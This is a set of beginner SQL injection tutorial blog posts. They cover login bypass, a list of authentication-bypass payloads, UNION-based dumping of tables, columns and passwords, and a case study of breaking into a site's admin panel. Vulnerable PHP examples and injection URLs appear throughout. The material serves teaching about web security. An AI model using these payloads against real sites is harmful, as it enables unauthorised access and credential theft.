Modifying POST Parameters

Hello, Friends, So till now, We have somewhat understanding of how and where to inject at the very basics. But Life is not so easy, as its a never ending war between developers and breakers.

Lets see another way to inject.

If you flashback to this blog, I have discussed about the 3-tier logic, and how a request is processed.

Lets say, I have a Login Form in front of me, now I start fuzzing, I try with garbage values, but surprisingly, I do get a same error as "Incorrect Credentials". Though this scenario, is not found in all the cases, but yes you would run into such situations sometimes.

What I do now is check the "View Page Source" (Ctrl+u) and look for the login form code, and If I find something like this:

<form method="POST">
//Code here
<input type="submit" value="Login" onClick = "someJavaScriptFunction(value1, value2)" />
</form>

Then You should understand that Whatever value is being inserted, its getting filtered by the Javascript Code, and hence our input values never reaches the second Layer like the PHP source or ASP etc...

This type of filtration is known as Client Side Filtration.

And the Flow is like this:

Login Form >> (Javascript) >> (PHP/ASP) >> SQL Database

Now If we can change our values when its between Javascript Filter and PHP/ASP, our Job is done.

For this we need a FireFox Addon (Tamper Data) install it.

How To work with it.. After installing Tamper Data, on the browser, click on:

Tools >> Tamper Data >> Start Tamper

Now on the login form, type any value:

Username: admin; Password:idontknow; and then click on Login

Once you do that, You would get option to tamper, click on Tamper, you would see the form data that you typed on the right handside of the Tamper-Data Window..

This is where, you need to change the values again, like using ' or " or \, the way discussed before and keep going until you get what you were looking for.

I know this is little pain, but hey thats how you deal with it.
   
Stay Tuned For more.

Case Study 1

This is a case study, of a Site that was broken into. And Often I will Be Posting Case Studies To show different ways of fuzzing.

Here I sharing the Way the Admin Panel Was broken.

So, I had the Admin Login Page in front of me, the very first thing I can try is, insert a garbage value, to see the response. If we get an error directly from the database, its good, otherwise its again a different story.

The Username I entered as 'admin' and for password, I entered was '

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression '(UID='admin' AND PWD=''');'

Awesome, We got an Error Here, lets try to understand the Error.

The moment I entered ' this broke the normal functionality, Which means insertion of ' made the Query unbalanced somewhere.


'(UID='admin' AND PWD=''');'

Remove the Outer '

(UID='admin' AND PWD=''');

Remove the ;

(UID='admin' AND PWD=''')

lets break it and try to understand.

'  (    UID  =  '  <user_input>  '    AND    PWD = '      <user_input>      '   )  ;'

When user-name: admin and password: '

'  (    UID  =  '  admin  '    AND    PWD = '     '     '   )  ;'

If password is: ')

'  (    UID  =  '  admin  '    AND    PWD = '      '  )      '   )  ;'

Left Side is kind of balanced, but we do still have an extra single quote.

If Password is: ')OR('1'

'  (    UID  =  '  admin  '    AND    PWD = '      '  )   OR   (    ' 1  '    )  ;'

Seems Like Balanced, Lets Check It Out.

So I am checking with, username: admin, password: ')OR('1'

Oops Got an error:

Syntax error in string in query expression '(UID='admin' AND PWD='')OR('1'');'.

[Purposely, I made the error, to show you how to understand from errors]

After analysing the error, I do see

PWD='   ')OR('1'   '

Unbalanced Quotes, My bad, We need to remove the last single quote from our query,

So again our username: admin, and password: ')OR('1

Woops it said Welcome Admin.

Thus it is just to show that, using some predefined SQL Query, for breaking panels, would be many a times useless, because fuzzing always depends on the way developers developed it.

Thats All For This post.

Dumping The Database

Okay, now that we know what are the tables in the Database, we will try to dump the contents of the Table from the Database.

So as we know we have 3 tables, in the 'ckorner' database, viz 'admin', 'products', 'users'

And we also know that the columns of 'admin' are 'id', 'name' and 'pwd', lets now try dumping the records.

So our URL is

www.example.com/products.php?id = 1

Developers side is on the left hand side of '=' and right hand side is for us.

Lets try to frame the query in MySQL server.

The Normal Query:

mysql> select id, product, price from products where id=1;
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer |  2500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql>

Now our Fuzzing starts


mysql> select id, product, price from products where id= 1 union select 1,2,table_name from information_schema.tables where table_schema='ckorner';
+------+---------+----------+
| id   | product | price    |
+------+---------+----------+
|    1 | printer | 2500     |
|    1 | 2       | admin    |
|    1 | 2       | products |
|    1 | 2       | users    |
+------+---------+----------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id= 1 union select 1,2,column_name from information_schema.columns where table_name='admin';
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer | 2500  |
|    1 | 2       | id    |
|    1 | 2       | name  |
|    1 | 2       | pwd   |
+------+---------+-------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id= 1 union select 1,2,id from ckorner.admin;
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer |  2500 |
|    1 | 2       |     1 |
|    1 | 2       |     2 |
|    1 | 2       |     3 |
+------+---------+-------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id = 1 union select 1,2,name from ckorner.admin;
+------+---------+---------+
| id   | product | price   |
+------+---------+---------+
|    1 | printer | 2500    |
|    1 | 2       | whiskey |
|    1 | 2       | Kumar   |
|    1 | 2       | Onty    |
+------+---------+---------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id = 1 union select 1,2,pwd from ckorner.admin;
+------+---------+-------------+
| id   | product | price       |
+------+---------+-------------+
|    1 | printer | 2500        |
|    1 | 2       | whiskey@123 |
|    1 | 2       | kumar@123   |
|    1 | 2       | Onty@123    |
+------+---------+-------------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id= 1 union select 1,2,concat(name, pwd) from ckorner.admin;
+------+---------+--------------------+
| id   | product | price              |
+------+---------+--------------------+
|    1 | printer | 2500               |
|    1 | 2       | whiskeywhiskey@123 |
|    1 | 2       | Kumarkumar@123     |
|    1 | 2       | OntyOnty@123       |
+------+---------+--------------------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id= 1 union select 1,2,group_concat(name, pwd) from ckorner.admin;
+------+---------+------------------------------------------------+
| id   | product | price                                          |
+------+---------+------------------------------------------------+
|    1 | printer | 2500                                           |
|    1 | 2       | whiskeywhiskey@123,Kumarkumar@123,OntyOnty@123 |
+------+---------+------------------------------------------------+
2 rows in set (0.00 sec)

mysql> select id, product, price from products where id = 9 union select 1,2,group_concat(id, product, price) from ckorner.products;
+------+---------+-------------------------------------------------------+
| id   | product | price                                                 |
+------+---------+-------------------------------------------------------+
|    1 | 2       | 1printer2500,2Laptop15000,3Desktop25000,4pen-drive300 |
+------+---------+-------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select id, product, price from products where id = 9 union select 1,2,group_concat(id, name, pwd) from ckorner.users;
+------+---------+---------------------------------------------------------+
| id   | product | price                                                   |
+------+---------+---------------------------------------------------------+
|    1 | 2       | 1Rishabhrishabh@123,2Web Rulerweb@123,3Mafiozimafia@123 |
+------+---------+---------------------------------------------------------+
1 row in set (0.00 sec)

mysql>


So, we see here, if we know the database name, table name and the columns in the table, we can dump the contents.

Now lets build the same in our URL:

www.example.com/products.php?id = 1 union select 1,2,group_concat(id, name, pwd) from ckorner.users --+

In case the above result doesnt dump the contents, like before we need to give an ID that does exist in the table, i prefer using negative values.

www.example.com/products.php?id = -1 union select 1,2,group_concat(id, name, pwd) from ckorner.users --+

And This would dump all the id, name and pwd records from the 'ckorner' database.

Hope this was informative, Stay Tuned For More.

Dumping The Columns Of A Table

Okay, so now that we know how to find the Table Names, lets try to find the columns in the Tables.

From our Last post we know that the Database has three tables:

admin, products, users

And Our URL:

www.example.com/index.php?id=1

Lets change the URL for better understanding, assume we are on the Products Page Of the Website, where certain product id displays information related the id.

So, www.example.com/products.php?id=1

So in the backend database its something like this,

mysql> select id, product, price from products where id=1;

+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer |  2500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql>

We know the columns count used is three from the earlier posts.

Now we will see the magic, we are on the products table, but being in this table we will try dumping the data of the other tables in the database.

So Lets check the Simulation First from the MySQL Server.

We will split the query:

SELECT id, product, price FROM products WHERE id = <user input>;

So left hand side is the Developers Code, And Pentester has to work on the Right Hand Side.

We know, the below query will show the tables in the database,

mysql> select * from products where id=1 union select 1,2,table_name from information_schema.tables where table_schema='ckorner';
+------+---------+----------+
| id   | product | price    |
+------+---------+----------+
|    1 | printer | 2500     |
|    1 | 2       | admin    |
|    1 | 2       | products |
|    1 | 2       | users    |
+------+---------+----------+
4 rows in set (0.00 sec)

So lets say we are interested to look for the admin table, so what do we have to do now, we have to find the columns in the admin table.

Database 'information_schema' has a Table named 'column_name' that holds the column names for all the tables in a database. So we will use the 'information_schema' database once again to find the columns in the table 'admin' of database 'ckorner'

mysql> select * from products where id=1 union select 1,2,column_name from information_schema.columns where table_name='admin';
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer | 2500  |
|    1 | 2       | id    |
|    1 | 2       | name  |
|    1 | 2       | pwd   |
+------+---------+-------+
4 rows in set (0.00 sec)

mysql>

So we get the Columns of 'admin' in the 'ckorner' database. lets try for the other tables in 'ckorner' database.

mysql> select * from products where id=1 union select 1,2,column_name from information_schema.columns where table_name='products';
+------+---------+---------+
| id   | product | price   |
+------+---------+---------+
|    1 | printer | 2500    |
|    1 | 2       | id      |
|    1 | 2       | product |
|    1 | 2       | price   |
+------+---------+---------+
4 rows in set (0.00 sec)

mysql> select * from products where id=1 union select 1,2,column_name from information_schema.columns where table_name='users';
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer | 2500  |
|    1 | 2       | id    |
|    1 | 2       | name  |
|    1 | 2       | pwd   |
+------+---------+-------+
4 rows in set (0.00 sec)

mysql>

So we see that it easily dumps the column names of other tables (admin, users) inspite of being in a query that is supposed to show the contents 'products' table.

So now we will put our built queries in the URL:

www.example.com/products.php?id=1

www.example.com/products.php?id=1 union select 1,2,column_name from information_schema.columns where table_name='admin'

It dint dump, reason? remember I said, its URL and the parameters has to be hex encoded, you can encode the passing parameter 'admin' from online tools, or you can use our tool to hex encode the paramters.

Download Link: Click Here

hex encode of 'admin' is: 0x61646d696e

Are we still missing out something? remember the comment symbol?

we have to comment out the rest of the queries being passed, so that before the query reaches the database, the remaining queries gets ignored.

www.example.com/products.php?id=1 union select 1,2,column_name from information_schema.columns where table_name=0x61646d696e --+

In Some Cases If It Doesnt Work, You need To change The Id Value With An Id that doesnt exist in the Table like 9999 or -1, using -1 is a sure shot value to dump as there would be no records with -1 value

www.example.com/products.php?id = -1 union select 1,2,column_name from information_schema.columns where table_name=0x61646d696e --+

And this this out display the column names of Table 'admin'.

Thats all for this post, hope this was informative.

Thank You!

Admin Login Access

Welcome To this post, where I will discuss, how an SQL Query, gives access to the Admin Panel, in other words, the first basic SQL Injection.

By now you should be knowing how the connection works from the user-end to the Back-end Database.

   WARNING        WARNING        WARNING        WARNING        WARNING        WARNING
===================================================================================== DO NOT TRY ON WEBSITES OR ON APPLICATIONS, WHERE YOU DO NOT HAVE PERMISSION, FOR ANY ILLEGAL ISSUES NEITHER ME NOR THE CONTENTS OF THE BLOG WILL BE HELD RESPONSIBLE.

THIS IS ONLY FOR EDUCATIONAL PURPOSE.
=====================================================================================

So we have a Login page in front of us, wishing if we could get access to the Admin Panel.

We apply a simple SQL Logic and check if we get access.

Lets understand the HTML code in the users-end

<form method = "GET" action = "login.php" >
Name: <input type = "text" name = "uname" />
Password: <input type = "password" name= "pwd" />

<br />

<input type = "submit" value = "Login" name= "login" />

</form>

Which would gives us the below section:

---

ADMIN LOGIN PANEL

---

Name:    
Password:

---

Now Lets check a Basic PHP Script that would connect to the Back-end Database, when some value is Entered in the Name and the Password Field, and clicked on Submit.


<?php

if isset ( $_GET [ 'login' ] ) //When user clicks the submit button
{

//Connects To the Database
$con  =  mysql_connect ( "localhost", "username", "password" ) or die ( "Could Not Connect To Database" ) ;

//Building the SQL Query
$qry = " SELECT id FROM Users WHERE user = '$_GET[ "uname" ]' " . "AND password = '$_GET[ "pwd" ]' ";

//Make the Query
$getresult = mysql_query ( $qry ) ;

//Check the number of Rows returned from the Query
$rows  =  mysql_num_rows ( $getresult ) ;

//Validates and Returns the User
if ( $rows != 0 )
{
    header ( "Location: admin.php" ); //Redirects to admin.php
}
else
{
    die ( "Invalid Username Or Password" ); //No display if Rows returned is Null
}

}

?>

If we look at the SQL Query, its

SELECT id FROM Users
WHERE user =
AND password =

If the Username and Password returns a Row, means a Valid ID, and thus logins in, and if not, it will say, "Invalid Username Or Password"

SELECT id FROM Users
WHERE user = 'Computer'
AND password = 'Korner'

The Output will be:

"Invalid Username Or Password"

Its Obvious, because there would not be such record in the Database.

Now what If we change the Logic, with a simple SQL Query

SELECT id FROM Users
WHERE user = 'Computer'
AND password = 'Korner' OR '1' = '1'

Notice here, the logic gets changed:

SELECT id FROM Users
WHERE ( user = 'Computer' AND password = 'Korner' ) OR ( '1' = '1' )

Means Either one, if the first Query Fails, second will be executed, and the second Query is a simple Logic, 1 is always equal to 1 returning it to be a True, and thus extracting out all the rows from the records.

The $rows count will not be Zero in this case, and hence the page is redirected to the admin panel. This giving access to all the Admin Privileges.

Few More SQL Queries when appended Gives access are:

' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
1'or'1'='1

NOTE:
=======================================================================
THIS IS FOR YOUR KNOWLEDGE, DON'T BREAK ADMIN PANELS AND TRY TO PROVE YOURSELF A L33T OR ELITE HACKER, BECAUSE THIS IS THE MOST LAMEST THING ONE CAN DO. MANY K-SCRIPTERS DOES IT WITHOUT UNDERSTANDING THE LOGIC AND FEELS HAPPY. PLEASE AVOID THIS, OR AT-LEAST DON'T SPEAK SHIT ABOUT POOR SECURITY BECAUSE IF YOU ARE GIVEN A SCRIPT TO WRITE TO FILTER THIS, YOU WILL HAVE NO PLACE TO HIDE YOURSELF.
=======================================================================

"LEARN TO PROTECT!"        "LEARN TO PROTECT!"        "LEARN TO PROTECT!"

SQL Injecting Parameters

So from last two post we saw how that the users Input Parameters are processed by scripting Language Like PHP, ASP, etc and Then the Query is passed to Database.

Everything Works on the basis of INPUT and OUTPUT, Database gets an Input, and based on the Input it gives the Output. A Database will not logically verify that the Query is from a Genuine User or Someone trying to get Information.

We are more interested in the second Phase, where scripts filters the request. If somehow we can change the order or Queries that are being passed from the PHP script, Back-end Database will throw out the information.

Ex: lets check this

http://www.example.com/products.php?id=10

Here id=10, this is known as a Parameter, based on the 'id' value, we will get some result from the back-end Database.

A normal PHP script would do the following:

<?php

//connect to database
$con = $mysql_connect("localhost", "username", "password");

//Build the SQL Query
$qry = "SELECT Products.Name, Products.Price FROM Products WHERE Products.id = '$_GET['id_val']";

//Query to the Database
$result = mysql_query($qry);

//output to the User
while ($row = mysql_fetch_array($result))
{
echo "NAME: ".$row{'Products.Name'}." PRICE: ".$row{'Products.Price'}."<br />";
}

//close the Database Connection
mysql_close($con);

?>

If you look at this carefully, the SQL query that the script would execute is:

SELECT Products.Name, Products.Price
FROM Products
WHERE Products.id = 10

Now, what if we modify the URL

http://www.example.com/products.php?id=10
to
http://www.example.com/products.php?id=10' OR '1'='1'

The SQL Query would now be:

SELECT Products.Name, Products.Price
FROM Products
WHERE Products.id = 10' OR '1'='1'

Here the simple Logic is 1 is always equal to 1, we have changed the Logic of the PHP Script.

In Laymans Terms, We are asking to show the Name and Price of id which is '10' or 'True'(All Values)

Hence This Query will result in Displaying all the Names and Price of all the Products.id from the Products Table.

Hope this was informative, and makes sense to who dint knew the purpose of appending 'or '1'='1'

Thats all for this post.

Thank You!

Statements Of SQL

Now that we know what a Database is, and what does it contain, lets not waste time and jump into the main topics that you should be aware of when the word SQL comes to your mind.

From here onwards I will refer to the below table, as an example and refer to SQL Statements.

Database Structure

So My sample Database has got Two Tables, named C_Korner and Sales, Sales is as of now empty, as of now we are more interested to play around with the C_Korner Table, where it has got:

1. Four Columns (A_ID, U_Name, U_Password, U_Status), and
2. Four Rows, means Four Records.

An Important Thing about SQL is that it is not case-sensitive like other Languages. The Language Structure is very friendly.

Now, There are many types of Database, which we will gradually come to know with our posts, here just to give you some examples will be, MySQL, MsSQL, PostgreSQL, etc etc.

We are now not focusing on the Database Server Types. To Be very very generic, we are just trying to be friendly with SQL.

With most other Languages, semi-colon is a necessity, and to terminate a statement like in Java or Php.

But with SQL, it depends on Database Server, some Database systems requires semi-colon at the end and some does not. Well semi-colons are sometimes used in some complex statements where we would combine several statements, and thus semi-colon will make the SQL server know, that the statements are separated and the SQL Engine would not be confused.

So Isn't it Interesting? Well Guess You are confident to dive into the world of SQL. Thats all for this post friends, and Don't Forget to check my next post.

Thank You!

SQLi Hacking Introduction

Hello Everyone, This Blog Is All About the SQLi techniques that I learned and reasearched about.

I have found many script-kiddies using SQLi techniques pre-defined some where in the web, and call them selves a hacker, or by using some tools like Havij, Mole, DarkMySQli, etc. But By Using those tools or by learning the SQLi commands are they really a L33t?

I strongly Oppose to Script - Kiddies, and this Blog is not for them, who doesnt want to know the basics of SQL, and jump to SQLi, and harrase some web-admins out there, by abusing them and speaking about poor security. Before abusing them and speaking shit about security, ask yourself how much do you know about security.

Well, enough said for the Script-Kiddies, lets get into the real world, as how one can be an automated tool like any SQL Tool, Ofcourse the people who developed the tools are genious and has done a hell lot of research to test security or pen-testing.

Lets use the knowledge wisely, and lets learn and discuss to Protect..Remember, You might get awarded if you use the knowledge wisely, and if you break security with criminal purpose. You might be busted.

Well, Thats all for the Introduction of The Blog.

Thank You!